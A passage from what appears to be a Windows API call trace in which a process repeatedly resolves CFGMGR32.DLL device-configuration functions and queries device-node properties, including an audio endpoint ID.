lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.408] malloc (_Size=0x18) returned 0x196ef0d1b00 [0203.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.409] malloc (_Size=0x48) returned 0x196ef0fb360 [0203.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a18b57e, dwHighDateTime=0x1d9eb0c)) [0203.409] SetEvent (hEvent=0x248) returned 1 [0203.412] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.412] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.415] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0203.416] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.416] malloc (_Size=0x48) returned 0x196ef0fbef0 [0203.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a18b57e, dwHighDateTime=0x1d9eb0c)) [0203.416] SetEvent (hEvent=0x248) returned 1 [0203.420] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.420] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.424] malloc (_Size=0x18) returned 0x196ef0d1be0 [0203.424] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0203.425] malloc (_Size=0x48) returned 0x196ef0fba90 [0203.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a1b10cd, dwHighDateTime=0x1d9eb0c)) [0203.425] SetEvent (hEvent=0x248) returned 1 [0203.430] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.430] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.436] malloc (_Size=0x18) returned 0x196ef0d1d00 [0203.436] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.438] malloc (_Size=0x48) returned 0x196ef0fc170 [0203.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a1d7485, dwHighDateTime=0x1d9eb0c)) [0203.439] SetEvent (hEvent=0x248) returned 1 [0203.442] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.442] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.615] malloc (_Size=0x18) returned 0x196ef0d1d20 [0203.615] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x35, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0203.616] malloc (_Size=0x48) returned 0x196ef0fba40 [0203.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5a37c02b, dwHighDateTime=0x1d9eb0c)) [0203.616] SetEvent (hEvent=0x248) returned 1 [0203.621] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.621] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.621] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.623] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.624] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.625] malloc (_Size=0x18) returned 0x196ef0d19a0 [0203.625] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x35, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0203.625] malloc (_Size=0x48) returned 0x196ef0fb310 [0203.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5a3a10dc, dwHighDateTime=0x1d9eb0c)) [0203.625] SetEvent (hEvent=0x248) returned 1 [0203.630] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.630] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.630] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.631] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.632] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.633] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.633] malloc (_Size=0x18) returned 0x196ef0d1d20 [0203.633] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0203.633] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0203.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5a3a10dc, dwHighDateTime=0x1d9eb0c)) [0203.634] SetEvent (hEvent=0x248) returned 1 [0203.639] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.639] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.639] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.643] malloc (_Size=0x18) returned 0x196ef0d1980 [0203.643] CM_Get_Device_IDA (in: dnDevInst=0x36, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\{0.0.0.00000000}.{8E130672-61AD-4A4A-946A-D1F6397B4DB3}") returned 0x0 [0203.643] malloc (_Size=0x48) returned 0x196ef0fb680 [0203.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5a3c83b4, dwHighDateTime=0x1d9eb0c)) [0203.644] SetEvent (hEvent=0x248) returned 1 [0203.647] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0203.647] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0203.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0203.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0203.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0203.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0203.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0203.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0203.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0203.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0203.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0203.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0203.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0203.651] malloc (_Size=0x18) returned 0x196ef0d1b00 [0203.651] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0203.652] malloc (_Size=0x32) returned 0x196ef0d12d0 [0203.652] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: 